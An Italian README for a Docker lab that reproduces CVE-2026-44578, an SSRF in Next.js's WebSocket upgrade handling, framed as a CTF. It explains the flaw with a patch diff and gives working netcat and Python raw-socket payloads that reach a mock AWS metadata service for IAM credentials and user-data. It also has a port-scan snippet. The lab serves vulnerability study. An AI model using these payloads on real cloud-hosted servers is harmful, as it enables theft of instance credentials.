CVE-2026-44578 — Next.js WebSocket Upgrade SSRF (Laboratorio)

Laboratorio autocontenuto per riprodurre la vulnerabilità CVE-2026-44578 (CWE-918, SSRF) in applicazioni Next.js self-hosted che usano il server Node.js integrato.

Campo	Valore
CVE	CVE-2026-44578
GHSA	GHSA-c4j6-fc7j-m34r
CVSS 3.1	8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
Tipo	SSRF (CWE-918)
Versioni interessate	Next.js 13.4.13 – 15.5.15 e 16.0.0 – 16.2.4
Versioni corrette	15.5.16 e 16.2.5
Autenticazione	nessuna
Interazione utente	nessuna

Topologia del laboratorio

Attaccante (host: 0.0.0.0)
    │  HTTP :3000 (pubblico)
    ▼
┌──────────────────────────┐  stesso namespace di rete  ┌─────────────────────┐
│ nextjs-vuln              │  localhost:80 ──────────► │ imds-sidecar        │
│ Next.js 15.5.0           │                           │ Fake AWS IMDSv1     │
│ "Nimbus Analytics"       │                           │ (credenziali,       │
│ (server Node integrato)  │                           │  user-data, indice) │
└──────────────────────────┘                           └─────────────────────┘

• nextjs-vuln (porta 3000): l'app vulnerabile, esposta su 0.0.0.0:3000.
• imds-sidecar: mock del metadata service di AWS che vive su localhost:80 all'interno del namespace del container di Next.js, modellando un'istanza reale nel cloud. Non è raggiungibile dall'host direttamente (nessuna porta pubblicata).

                        CVE-2026-44578/
                        ├── docker-compose.yml
                        ├── exploit/
                        │   └── exploit.py          # PoC automatizzato (5 probe)
                        ├── imds-mock/
                        │   ├── Dockerfile
                        │   └── server.py           # Fake IMDSv1 + route segrete
                        └── nextjs-app/             # App realistica "Nimbus Analytics"
                            ├── app/
                            │   ├── globals.css
                            │   ├── layout.js       # navbar/footer
                            │   ├── page.js         # landing
                            │   ├── api/health/route.js
                            │   ├── login/page.js
                            │   ├── pricing/page.js
                            │   └── dashboard/page.js
                            ├── Dockerfile
                            └── package.json        # [email protected] (vulnerabile)

Perché è vulnerabile

L'upgrade handler di WebSocket in router-server.ts chiama proxyRequest() quando l'URI parsato ha parsedUrl.protocol, senza verificare i flag finished e statusCode che l'handler HTTP normale ha sempre emesso:

  // vulnerabile (<= 15.5.15)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
  // patch (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)
+     }
+     return socket.end()

Il percorso di attacco usa una request line con URI assoluta a doppia barra: GET http:///path. normalizeRepeatedSlashes comprime http:/// in http:/, lasciandolo senza hostname, e http-proxy si connette quindi a localhost:80 con il path intatto:

GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

La presenza delle intestazioni Connection: Upgrade + Upgrade: websocket fa sì che la richiesta cada nell'upgrade handler vulnerabile invece che nell'handler HTTP con i controlli di sicurezza.

Avvio del laboratorio

docker compose up -d --build

Verificare che l'app risponda:

curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head

Per lasciarlo in ascolto su 0.0.0.0, il mapping delle porte in docker-compose.yml espone già 3000:3000 su tutte le interfacce.

Exploit manuale

1. Usando netcat (nc)

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

2. Usando Python puro (stdlib, senza dipendenze)

python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

3. Usando il PoC automatizzato

python3 exploit/exploit.py 127.0.0.1 3000

CTF — cattura manuale del flag finale

Flusso completo 100 % manuale, in 4 fasi. Ci sono 4 flag nascosti nel servizio interno (localhost:80); questa guida mostra il flusso fino al primo e ti lascia le route per trovare gli altri.

Fase 1 — Ricognizione

# Fingerprint del server
curl -sI http://127.0.0.1:3000/
#   HTTP/1.1 200 OK
#   x-powered-by: Next.js
#   x-http-method-override: 0.0.0.0

# Porte aperte via socket (senza nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
    s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
    if open_: print(p,"OPEN")'

Non c'è accesso diretto a 127.0.0.1:80 dall'attaccante: l'unico vettore è far sì che il server Next.js (che vive nella stessa rete del servizio interno) faccia la richiesta per noi.

Fase 2 — Enumerazione del metadata service via SSRF

Prima confermiamo l'SSRF chiedendo l'indice del metadata service:

printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

Risposta dell'indice → candidati: instance-id, hostname, iam/security-credentials/, user-data (primo flag). L'indice di latest/meta-data/ rivela anche sub-key che conviene continuare a esplorare.

Fase 3 — Costruzione del payload (byte per byte)

GET http:///latest/user-data HTTP/1.1

Parte	Funzione
GET	La vuln fa da proxy solo per GET
http:///latest/user-data	URI assoluta. http:/// si comprime in http:/ → hostname null → il proxy si connette a localhost:80 conservando il path /latest/user-data
Host: 127.0.0.1:3000	Altrimenti il server risponde 400
Connection: Upgrade + Upgrade: websocket	Deviano la richiesta all'upgrade handler vulnerabile (l'handler HTTP normale invece valida)
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ==	Intestazioni minime richieste in un handshake legittimo

Terminazione: \r\n\r\n sul socket raw (senza body).

Fase 4 — Invio manuale e cattura del flag

# Opzione A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000

# Opzione B: socket raw in Python (stessa precisione, senza nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
          b"Host: 127.0.0.1:3000\r\n"
          b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
          b"Sec-WebSocket-Version: 13\r\n"
          b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF

Output — il primo flag arriva nel body della risposta del servizio interno: